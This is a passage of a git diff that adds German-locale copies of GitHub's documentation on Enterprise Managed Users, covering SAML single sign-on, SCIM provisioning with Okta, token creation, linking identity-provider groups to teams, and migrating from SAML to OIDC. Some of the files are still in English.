+    | IdP Sign-On URL | Login URL, IdP URL | Application's URL on your IdP |
+    | IdP Identifier URL | Issuer | IdP's identifier to service providers for SAML authentication |
+    | Signing certificate, Base64-encoded | Public certificate | Public certificate that IdP uses to sign authentication requests |
+
+### Configuring your enterprise
+
+After you install and configure the {% data variables.product.prodname_emu_idp_application %} application on your identity provider, you can configure your enterprise. 
+
+1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+
+1. Under "SAML single sign-on", select **Require SAML authentication**.
+  ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
+
+1. Under **Sign on URL**, type the HTTPS endpoint of your IdP for single sign-on requests that you noted while configuring your IdP.
+![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
+
+1. Under **Issuer**, type your SAML issuer URL that you noted while configuring your IdP, to verify the authenticity of sent messages.
+![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
+
+1. Under **Public Certificate**, paste the certificate that you noted while configuring your IdP, to verify SAML responses.
+![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
+
+1. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then, in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
+![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
+
+1. Before enabling SAML SSO for your enterprise, to ensure that the information you've entered is correct, click **Test SAML configuration**. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+
+1. Click **Save**.
+
+    {% note %}
+
+    **Note:** When you require SAML SSO for your enterprise, the setup user will no longer have access to the enterprise but will remain signed in to GitHub. Only {% data variables.enterprise.prodname_managed_users %} provisioned by your IdP will have access to the enterprise.
+
+    {% endnote %}
+
+{% data reusables.enterprise-accounts.download-recovery-codes %}
+
+
+### Enabling provisioning
+
+After you enable SAML SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](//admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md
new file mode 100644
index 0000000000..e614787d8f
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md
@@ -0,0 +1,102 @@
+---
+title: Konfigurieren der SCIM-Bereitstellung für Enterprise Managed Users mit Okta
+shortTitle: Set up provisioning with Okta
+intro: Mit Okta als Identitätsanbieter kannst du neue Benutzer einrichten und ihre Mitgliedschaft in deinem Unternehmen und deinen Teams verwalten.
+product: '{% data reusables.gated-features.emus %}'
+versions:
+  ghec: '*'
+redirect_from:
+  - /early-access/github/articles/configuring-provisioning-for-managed-users-with-okta
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+type: tutorial
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+ms.openlocfilehash: b8c086d1d91c1248fa5a0349bb6f8ef32c3bbdf0
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160712'
+---
+## Informationen zur Bereitstellung mit Okta
+
+Du kannst {% data variables.product.prodname_emus %} mit Okta als Identitätsanbieter verwenden, um neue Konten bereitzustellen, Unternehmensmitgliedschaften zu verwalten und Teammitgliedschaften für Organisationen in deinem Unternehmen zu verwalten. Weitere Informationen zur Bereitstellung für {% data variables.product.prodname_emus %} findest du unter [Konfigurieren der SCIM-Bereitstellung für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users).
+
+Bevor du die Bereitstellung mit Okta konfigurieren kannst, musst du einmaliges Anmelden mit SAML konfigurieren. Weitere Informationen findes du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users).
+
+Zum Konfigurieren der Bereitstellung mit Okta musst du den Namen deines Unternehmens in der Anwendung {% data variables.product.prodname_emu_idp_application %} festlegen und {% data variables.product.pat_generic %} für den Setupbenutzer eingeben. Du kannst dann mit der Bereitstellung von Benutzern in Okta beginnen.
+
+## Unterstützte Features
+
+{% data variables.product.prodname_emus %} bietet Unterstützung für viele Bereitstellungsfeatures in Okta.
+
+| Funktion | BESCHREIBUNG |
+| --- | --- |
+| Push neuer Benutzer | Benutzer, die der Anwendung {% data variables.product.prodname_emu_idp_application %} in Okta zugewiesen sind, werden automatisch im Unternehmen auf {% data variables.product.product_name %} erstellt. |
+| Push einer Profilaktualisierung | Aktualisierungen, die am Profil des Benutzers in Okta vorgenommen wurden, werden in {% data variables.product.product_name %} gepusht. |
+| Pushgruppen | Gruppen in Okta, die der Anwendung {% data variables.product.prodname_emu_idp_application %} als Pushgruppen zugewiesen sind, werden automatisch im Unternehmen auf {% data variables.product.product_name %} erstellt. |
+| Push Benutzer-Deaktivierung | Durch das Aufheben der Zuweisung des Benutzers aus der Anwendung {% data variables.product.prodname_emu_idp_application %} in Okta wird der Benutzer in {% data variables.product.product_name %} deaktiviert. Der Benutzer kann sich nicht anmelden, aber die Informationen des Benutzers werden beibehalten. |
+| Benutzer reaktivieren | Benutzer in Okta, deren Okta-Konten reaktiviert werden und die wieder der Anwendung {% data variables.product.prodname_emu_idp_application %} zugewiesen werden, werden aktiviert. |
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_emus %} bietet keine Unterstützung für Änderungen an Benutzernamen.
+
+{% endnote %}
+
+## Festlegen des Unternehmensnamens
+
+Nachdem dein {% data variables.enterprise.prodname_emu_enterprise %} erstellt wurde, kannst du mit der Konfiguration der Bereitstellung beginnen, indem du den Unternehmensnamen in Okta festlegst.
+
+1. Navigiere auf Okta zu der Anwendung {% data variables.product.prodname_emu_idp_application %}.
+1. Klicke auf die Registerkarte **Sign On** (Anmelden).
+1. Klicke auf **Edit** (Bearbeiten), um Änderungen vorzunehmen.
+1. Gib unter „Advanced Sign-on Settings“ (Erweiterte Anmeldeeinstellungen) im Textfeld „Enterprise Name“ (Unternehmensname) deinen Unternehmensnamen ein. Wenn du beispielsweise unter `https://github.com/enterprises/octoinc` auf dein Unternehmen zugreifst, lautet der Unternehmensname „octoinc“.
+![Screenshot des Felds „Enterprise Name“ (Unternehmensname) auf Okta](/assets/images/help/enterprises/okta-emu-enterprise-name.png)
+1. Klicke zum Speichern des Unternehmensnamens auf **Save** (Speichern).
+
+## Konfigurieren der Bereitstellung
+
+Nachdem du deinen Unternehmensnamen festgelegt hast, kannst du mit der Konfiguration der Bereitstellungseinstellungen fortfahren.
+
+Zum Konfigurieren der Bereitstellung muss der Setupbenutzer mit dem Benutzernamen **@<em>SHORT-CODE</em>_admin** ein {% data variables.product.pat_v1 %} mit dem Bereich **admin:enterprise** bereitstellen. Weitere Informationen zum Erstellen eines neuen Tokens findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token).
+
+1. Navigiere auf Okta zu der Anwendung {% data variables.product.prodname_emu_idp_application %}.
+1. Klicke auf die Registerkarte **Bereitstellung**.
+1. Klicke im Einstellungsmenü auf **Integration**.
+1. Klicke auf **Edit** (Bearbeiten), um Änderungen vorzunehmen.
+1. Klicke auf **API-Integration aktivieren**.
+1. Gib im Feld „API Token“ {% data variables.product.pat_v1 %} mit dem Bereich **admin:enterprise** ein, der dem Setupbenutzer gehört.
+![Screenshot des Felds „API Token“ in Okta](/assets/images/help/enterprises/okta-emu-token.png)
+1. Klicke auf **API-Anmeldeinformationen testen**. Wenn der Test erfolgreich ist, wird oben auf dem Bildschirm eine Überprüfungsmeldung angezeigt.
+1. Klicke zum Speichern des Tokens auf **Save** (Speichern).
+1. Klicke im Einstellungsmenü auf **To App** (Für App).
+![Screenshot des Menüelements „To App“ (Für App) in Okta](/assets/images/help/enterprises/okta-emu-to-app-menu.png)
+1. Klicke rechts neben „Provisioning to App“ (Bereitstellung für App) auf **Edit** (Bearbeiten), damit Änderungen vorgenommen werden können.
+1. Wähle **Enable** (Aktivieren) für **Create Users** (Benutzer erstellen), **Update User Attributes** (Benutzerattribute aktualisieren) und **Deactivate Users** (Benutzer deaktivieren) aus.
+![Screenshot mit Bereitstellungsoptionen auf Okta](/assets/images/help/enterprises/okta-emu-provisioning-to-app.png)
+1. Klicke auf **Save** (Speichern), um die Konfiguration der Bereitstellung abzuschließen.
+
+## Zuweisen von Benutzern und Gruppen
+
+Nachdem du SAML-SSO und Bereitstellung konfiguriert hast, kannst du neue Benutzer auf {% data variables.product.prodname_dotcom_the_website %} bereitstellen, indem du der Anwendung {% data variables.product.prodname_emu_idp_application %} Benutzer oder Gruppen zuweist. 
+
+{% data reusables.scim.emu-scim-rate-limit %}
+
+Du kannst die Organisationsmitgliedschaft auch automatisch verwalten, indem du der Registerkarte „Pushgruppen“ in Okta Gruppen hinzufügst. Wenn die Gruppe erfolgreich bereitgestellt wird, kann sie mit Teams in den Organisationen des Unternehmens verbunden werden. Weitere Informationen zum Verwalten von Teams findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups).
+
+Beim Zuweisen von Benutzern kannst du das Attribut „Rollen“ in der Anwendung {% data variables.product.prodname_emu_idp_application %} verwenden, um die Rolle eines Benutzers im Unternehmen in {% data variables.product.product_name %} festzulegen. Weitere Informationen zu Rollen findest du unter [Rollen in einem Unternehmen](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise).
+
+![Screenshot der Rollenoptionen für bereitgestellte Benutzer in Okta](/assets/images/help/enterprises/okta-emu-user-role.png)
+
+## Aufheben der Bereitstellung von Benutzern und Gruppen
+
+Wenn du Benutzer*innen oder Gruppen aus {% data variables.product.product_name %} entfernen möchtest, entferne sie in Okta aus der Registerkarte „Zuweisungen“ und der Registerkarte „Pushgruppen“. Stelle für Benutzer*innen sicher, dass sie aus allen Gruppen auf der Registerkarte „Pushgruppen“ entfernt werden.
+
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md
new file mode 100644
index 0000000000..32948205b4
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -0,0 +1,80 @@
+---
+title: Configuring SCIM provisioning for Enterprise Managed Users
+shortTitle: Provisioning managed users
+intro: You can configure your identity provider to provision new users and manage their membership in your enterprise and teams.
+product: '{% data reusables.gated-features.emus %}'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users
+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users
+versions:
+  ghec: '*'
+topics:
+  - Accounts
+  - Enterprise
+---
+
+## About provisioning for {% data variables.product.prodname_emus %}
+
+You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. 
+
+After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}.
+
+When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
+
+Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
+
+## Prerequisites
+
+Before you can configure provisioning for {% data variables.product.prodname_emus %}, you must configure SAML{% ifversion oidc-for-emu %} or OIDC{% endif %} single-sign on. {% ifversion oidc-for-emu %}
+
+- For more information on configuring OIDC, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)"
+- {% endif %}For information on configuring SAML, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+
+## Creating a {% data variables.product.pat_generic %}
+
+To configure provisioning for your {% data variables.enterprise.prodname_emu_enterprise %}, you need a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that belongs to the setup user.
+
+{% warning %}
+
+**Warning:** If the token expires or a provisioned user creates the token, SCIM provisioning may unexpectedly stop working. Make sure that you create the token while signed in as the setup user and that the token expiration is set to "No expiration".
+
+{% endwarning %}
+
+1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.personal_access_tokens %}
+{% data reusables.user-settings.generate_new_token %}
+1. Under **Note**, give your token a descriptive name.
+   ![Screenshot showing the token's name](/assets/images/help/enterprises/emu-pat-name.png)
+1. Select the **Expiration** drop-down menu, then click **No expiration**.
+   ![Screenshot showing token expiration set to no expiration](/assets/images/help/enterprises/emu-pat-no-expiration.png)
+1. Select the **admin:enterprise** scope.
+   ![Screenshot showing the admin:enterprise scope](/assets/images/help/enterprises/enterprise-pat-scope.png)
+1. Click **Generate token**.
+   ![Generate token button](/assets/images/help/settings/generate_token.png)
+1. To copy the token to your clipboard, click the {% octicon "paste" aria-label="The copy icon" %}.
+   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+2. To save the token for use later, store the new token securely in a password manager.
+
+## Configuring provisioning for {% data variables.product.prodname_emus %}
+
+After creating your {% data variables.product.pat_generic %} and storing it securely, you can configure provisioning on your identity provider. 
+
+{% data reusables.scim.emu-scim-rate-limit %}
+
+To configure provisioning, follow the appropriate link from the table below.
+
+| Identity provider | SSO method | More information |
+|---|---|---|{% ifversion oidc-for-emu %}
+| Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %}
+| Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation |
+| Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) |
+
+{% note %}
+
+**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping).
+
+{% endnote %}
\ No newline at end of file
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md
new file mode 100644
index 0000000000..8785c5c660
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md
@@ -0,0 +1,33 @@
+---
+title: Enterprise Managed Users für IAM verwenden
+shortTitle: Enterprise Managed Users
+product: '{% data reusables.gated-features.emus %}'
+intro: 'Du kannst Identität und Zugriff mithilfe deines Identitätsanbieters verwalten und Konten bereitstellen, die nur zu deinem Unternehmen beitragen können.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users
+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam
+versions:
+  ghec: '*'
+topics:
+  - Enterprise
+  - Accounts
+children:
+  - /about-enterprise-managed-users
+  - /configuring-saml-single-sign-on-for-enterprise-managed-users
+  - /configuring-oidc-for-enterprise-managed-users
+  - /configuring-scim-provisioning-for-enterprise-managed-users
+  - /configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+  - /managing-team-memberships-with-identity-provider-groups
+  - /about-support-for-your-idps-conditional-access-policy
+  - /migrating-from-saml-to-oidc
+  - /migrating-your-enterprise-to-a-new-identity-provider-or-tenant
+ms.openlocfilehash: 0d8cc71db11e7eb094b0771f8e03a690f449e380
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145955589'
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md
new file mode 100644
index 0000000000..252d630178
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md
@@ -0,0 +1,89 @@
+---
+title: Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen
+shortTitle: Manage teams with your IdP
+intro: 'Du kannst die Mitgliedschaft in einem Team und einer Organisation auf {% data variables.product.product_name %} über deinen Identitätsanbieter (IdP) verwalten, indem du IdP-Gruppen mit Teams in {% data variables.enterprise.prodname_emu_enterprise %} verknüpfst.'
+product: '{% data reusables.gated-features.emus %}'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups
+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Enterprise
+  - SSO
+  - Teams
+ms.openlocfilehash: 179835d6642cd5718a565869337b5420b29407a5
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160824'
+---
+## Informationen zur Teamverwaltung mit {% data variables.product.prodname_emus %}
+
+Mit {% data variables.product.prodname_emus %} kannst du die Team- und Organisationsmitgliedschaft in deinem Unternehmen über den IdP verwalten, indem du {% data variables.product.prodname_dotcom %}-Teams mit IdP-Gruppen verknüpfst. Wenn du ein Team mit einer der Organisationen deines Unternehmens mit einer IdP-Gruppe verknüpfst, werden Änderungen an der Mitgliedschaft für die IdP-Gruppe automatisch in einem Unternehmen widergespiegelt. Somit sind keine manuellen Updates und benutzerdefinierte Skripts mehr erforderlich. 
+
+Wenn eine Änderung an einer IdP-Gruppe oder einer neuen Teamverbindung zu einem {% data variables.enterprise.prodname_managed_user %} führt, dessen Benutzer*in einem Team in einer Organisation beigetreten ist, an dem er oder sie noch kein Mitglied war, werden die {% data variables.enterprise.prodname_managed_user %} automatisch der Organisation hinzugefügt. Wenn du eine Gruppe von einem Team trennst, werden Benutzer*innen, die über eine Teammitgliedschaft Mitglieder der Organisation wurden, aus der Organisation entfernt, wenn ihnen auf andere Weise keine Mitgliedschaft in der Organisation zugewiesen wurde.
+
+{% note %}
+
+**Hinweis:** Organisationsbesitzer können {% data variables.enterprise.prodname_managed_users %} auch manuell zu Organisationen hinzufügen, solange die Konten bereits über SCIM bereitgestellt wurden.
+
+{% endnote %}
+
+Wenn sich die Gruppenmitgliedschaft bei deinem Identitätsanbieter ändert, sendet der Identitätsanbieter gemäß dem von ihm festgelegten Zeitplan eine SCIM-Anforderung mit den Änderungen an {% data variables.product.prodname_dotcom_the_website %}, die Änderungen werden also nicht sofort angezeigt. Alle Anforderungen, bei denen die Team- oder Organisationsmitgliedschaft geändert wird, werden im Überwachungsprotokoll als Änderungen erfasst, die von dem Konto vorgenommen wurden, das zum Konfigurieren der Benutzerbereitstellung verwendet wurde.
+
+Teams, die mit IdP-Gruppen verbunden sind, können keine übergeordneten Elemente anderer Teams oder ein untergeordnetes Element eines anderen Teams sein. Wenn das Team, das du mit einer IdP-Gruppe verbinden möchtest, ein übergeordnetes oder untergeordnetes Team ist, empfehlen wir, ein neues Team zu erstellen oder die verschachtelten Beziehungen zu entfernen, die aus deinem Team ein übergeordnetes Team machen.
+
+Um den Repositoryzugriff für jedes Team in deinem Unternehmen zu verwalten, einschließlich Teams, die mit einer IdP-Gruppe verbunden sind, musst du Änderungen auf {% data variables.product.prodname_dotcom_the_website %} vornehmen. Weitere Informationen findest du unter [Verwalten des Teamzugriffs auf ein Organisationsrepository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository).
+
+## Anforderungen für die Verbindung von IdP-Gruppen mit Teams
+
+Bevor du eine IdP-Gruppe mit einem Team für {% data variables.product.prodname_dotcom %} verbinden kannst, musst du die Gruppe der {% data variables.product.prodname_emu_idp_application %}-Anwendung in deinem IdP zuweisen. Weitere Informationen findest du unter [Informationen zur Bereitstellung von SCIM für {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users).
+
+Du kannst ein Team in deinem Unternehmen mit einer IdP-Gruppe verbinden. Du kannst der gleichen IdP-Gruppe mehrere Teams in deinem Unternehmen zuweisen.
+
+Wenn du ein vorhandenes Team mit einer IdP-Gruppe verbindest, musst du zuerst alle Mitglieder entfernen, die manuell hinzugefügt wurden. Nachdem du ein Team in einem Unternehmen mit einer IdP-Gruppe verbunden hat, muss dein*e IdP-Administrator*in über den Identitätsanbieter Änderungen an der Teammitgliedschaft vornehmen. Du kannst die Teammitgliedschaft nicht auf {% data variables.product.prodname_dotcom_the_website %} verwalten.
+
+## Erstellen eines neuen Teams, das mit einer IdP-Gruppe verbunden ist
+
+Jedes Mitglied einer Organisation kann ein neues Team erstellen und das Team mit einer IdP-Gruppe verbinden. 
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %}
+1. Um ein Team zu verbinden, wähle das Dropdownmenü „Identitätsanbietergruppen“ aus, und klicke auf das Team, das du verbinden möchtest.
+    ![Dropdownmenü zum Auswählen von Identitätsanbietergruppen](/assets/images/help/teams/choose-an-idp-group.png) {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create_team %}
+
+## Verwalten der Verbindung zwischen einem vorhandenen Team und einer IdP-Gruppe
+
+Organisationsinhaber*innen und Teambetreuer*innen können die vorhandene Verbindung zwischen einer IdP-Gruppe und einem Team verwalten.
+
+{% note %}
+
+**Hinweis**: Bevor du zum ersten Mal ein vorhandenes Team auf {% data variables.product.prodname_dotcom_the_website %} mit einer IdP-Gruppe verbindest, müssen alle Mitglieder des Teams auf {% data variables.product.prodname_dotcom_the_website %} zuerst entfernt werden. Weitere Informationen findest du unter [Entfernen von Organisationsmitgliedern aus einem Team](/github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team).
+
+{% endnote %}
+
+{% data reusables.profile.access_profile %}
+
+{% data reusables.profile.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %}
+1. Klicke optional unter „Identitätsanbietergruppe“ rechts neben der Identitätsanbietergruppe, die du trennen möchten, auf {% octicon "x" aria-label="X symbol" %}. 
+    ![Trennen einer verbundenen IdP-Gruppe von einem GitHub-Team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png)
+1. Wähle in der Dropdownliste unter „Identitätsanbietergruppe“ eine Identitätsanbietergruppe aus, um eine Verbindung mit einer IdP-Gruppe herzustellen.
+    ![Dropdownmenü zur Auswahl von Identitätsanbietergruppen](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+1. Klicke auf **Änderungen speichern**.
+
+## Anzeigen von IdP-Gruppen, Gruppenmitgliedschaften und verbundenen Teams
+
+Du kannst eine Liste der IdP-Gruppen überprüfen, alle Teams anzeigen, die mit einer IdP-Gruppe verbunden sind, und die Mitgliedschaft jeder IdP-Gruppe auf {% data variables.product.product_name %} anzeigen. Du musst die Mitgliedschaft für eine Gruppe in deinem IdP bearbeiten.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+1. Um eine Liste der IdP-Gruppen zu überprüfen, klicke in der linken Seitenleiste auf {% octicon "key" aria-label="The key icon" %} **Identitätsanbieter**.
+    ![Screenshot mit der Registerkarte „Identitätsanbieter“ in der Seitenleiste des Unternehmens](/assets/images/help/enterprises/enterprise-account-identity-provider-tab.png)
+2. Um die Mitglieder und Teams anzuzeigen, die mit einer IdP-Gruppe verbunden sind, klicke auf den Namen der Gruppe.
+    ![Screenshot mit der Liste der IdP-Gruppen, der Gruppenname ist hervorgehoben](/assets/images/help/enterprises/select-idp-group.png)
+4. Klicke zum Anzeigen der Teams, die mit der IdP-Gruppe verbunden sind, auf **Teams**. 
+    ![Screenshot mit der Schaltfläche „Teams“](/assets/images/help/enterprises/idp-groups-team-switcher.png)
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md
new file mode 100644
index 0000000000..1d10031b84
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md
@@ -0,0 +1,59 @@
+---
+title: Migrating from SAML to OIDC
+shortTitle: Migrating from SAML to OIDC
+intro: 'If you''re using SAML to authenticate members in your {% data variables.enterprise.prodname_emu_enterprise %}, you can migrate to OpenID Connect (OIDC) and benefit from support for your IdP''s Conditional Access Policy.'
+product: '{% data reusables.gated-features.emus %}'
+versions:
+  feature: oidc-for-emu
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+---
+
+{% data reusables.enterprise-accounts.oidc-beta-notice %}
+
+## About migrating your {% data variables.enterprise.prodname_emu_enterprise %} from SAML to OIDC
+
+If your {% data variables.enterprise.prodname_emu_enterprise %} uses SAML SSO to authenticate with Azure Active Directory (Azure AD), you can migrate to OIDC. {% data reusables.enterprise-accounts.emu-cap-validates %}
+
+When you migrate from SAML to OIDC, {% data variables.enterprise.prodname_managed_users %} and groups that were previously provisioned for SAML but are not provisioned by the {% data variables.product.prodname_emu_idp_oidc_application %} application will have "(SAML)" appended to their display names.
+
+If you're new to {% data variables.product.prodname_emus %} and haven't yet configured authentication for your enterprise, you do not need to migrate and can set up OIDC single sign-on immediately. For more information, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)."
+
+## Migrating your enterprise
+
+{% note %}
+
+**Note:** To sign in as the setup user, you will need a recovery code. If you do not already have your recovery codes, you can access the codes while signed in as an enterprise owner. For more information, see "[Downloading your enterprise account's single sign-on recovery codes](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes)."
+
